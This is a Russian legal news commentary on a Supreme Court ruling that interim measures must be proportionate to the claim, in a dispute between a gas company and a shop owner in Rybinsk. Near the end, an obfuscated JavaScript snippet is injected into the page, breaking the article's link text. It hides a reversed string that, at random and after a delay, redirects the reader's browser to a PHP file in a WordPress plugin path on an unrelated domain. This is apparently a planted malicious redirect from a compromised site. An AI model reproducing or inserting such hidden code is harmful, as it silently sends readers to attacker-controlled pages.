ВС запретил несоразмерные обеспечительные меры

Комментарий Петра Мацкевича, адвоката Orchards, для Право.ru.

Обеспечительные меры позволяют истцу не беспокоиться, что у ответчика не найдется денег для выплат по судебному решению. Но иногда арестованное имущество может быть значительно дороже стоимости иска. Так произошло в одном из недавних споров между газовой компанией и владелицей небольшого магазина, который дошел до Верховного суда. В коллегии по гражданским делам напомнили, что обеспечение должно быть соразмерно заявленным требованиям.

Несостоявшееся подключение

В 2017 году ИП Алена Смирная* заключила договор с «Рыбинскгазсервисом». По его условиям компания обязалась подключить к газораспределительной сети магазин предпринимательницы в Рыбинске. Смирная приняла на себя не только обязательства по оплате, но и согласилась самостоятельно подготовить оборудование для подключения газовой трубы к принимающим устройствам. 

Смирная оплатила половину стоимости договора в размере 309 505 руб., и «Рыбинскгазсервис» начал строить трубу. Но когда со стороны исполнителя все уже было готово, выяснилось, что предпринимательница так и не обеспечила возможность подключения газопровода к своему магазину. Кроме того, она не оплатила вторую половину цены договора. Из-за этого компания обратилась в суд с иском, в котором потребовала взыскать со Смирной 309 505 руб. в качестве убытков и 19 407 руб. неустойки (дело № 2-165/2021).

11-кратное обеспечение

Вместе с иском «Рыбинскгазсервис» попросил суд наложить запрет на совершение регистрационных действий в отношении земельного участка и другого имущества Смирной. В компании сослались на недобросовестное поведение ответчика и указали, что непринятие обеспечительных мер может привести к невозможности исполнения решения суда.

Рыбинский городской суд Ярославской области прислушался к доводам истца и запретил предпринимательнице все регистрационные действия с земельным участком, кадастровая стоимость которого составляла 3,6 млн руб. — в 11 раз больше, чем размер предъявленного к ней иска. Суд указал: обеспечительная мера связана с предметом иска и соразмерна ему. Решение по этому вопросу было принято вне судебного заседания и без участия сторон спора.

Ярославский областной суд согласился: обеспечительные меры необходимы для сохранения участка в собственности ответчицы до разрешения спора. Кроме того, Смирная «не предоставила доказательств» несоразмерности запрета. Второй кассационный суд добавил, что у ответчицы нет другого имущества и постоянного дохода.

ВС указал на несоразмерность обеспечения

Верховный суд с выводами нижестоящих инстанций не согласился. При рассмотрении вопроса об обеспечении иска суд должен оценить представленные истцом доказательства и решить, может ли непринятие мер повлечь невозможность исполнения судебного акта. Необходимо разобраться, насколько истребуемая заявителем конкретная обеспечительная мера связана с предметом требования, соразмерна ему и каким образом она обеспечит фактическую реализацию целей обеспечительных мер.

В споре «Рыбинскгазсервиса» и Смирной суды подошли к выяснению этих обстоятельств формально, а вывод о соразмерности меры никак не мотивировали, указал ВС. Вывод апелляции, что ответчица должна была доказать несоразмерность обеспечения, и вовсе противоречит материалам дела, подчеркнули в гражданской коллегии. К тому же в нем уже была выписка из Единого государственного реестра недвижимости, которую предоставил истец. Этот документ позволял судам выяснить, что стоимость участка в 11 раз больше, чем заявленные требования.

Помимо этого, судьи раскритиковали первую инстанцию, которая наложила обеспечительные меры без заседания. «Поскольку заявление об обеспечении иска рассмотрено вне судебного заседания и без извещения ответчика, на него не может быть возложена обязанность по представлению суду доказательств отсутствия оснований для обеспечения иска», — подчеркнули в ВС.

Допущенные процессуальные ошибки признали существенными, поэтому спор об обеспечении направили на новое рассмотрение в Ярославский областной суд, который разберет его по правилам первой инстанции.

Спор между Смирной и «Рыбинскгазсервисом» по существу еще продолжается: сперва две инстанции полностью удовлетворили иск компании, но затем кассация вернула его на новое рассмотрение из-за неполного исследования всех обстоятельств дела. При новом рассмотрении Рыбинский горсуд опять удовлетворил требования компании, но Смирная подала апелляцию, и 9 августа материалы дела № 2-485/2022 отправили в Ярославский облсуд.

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/242355/»>Ссылка на статью >>

* Имя и фамилия изменены редакцией.

Подпишитесь на Telegram Orchards

X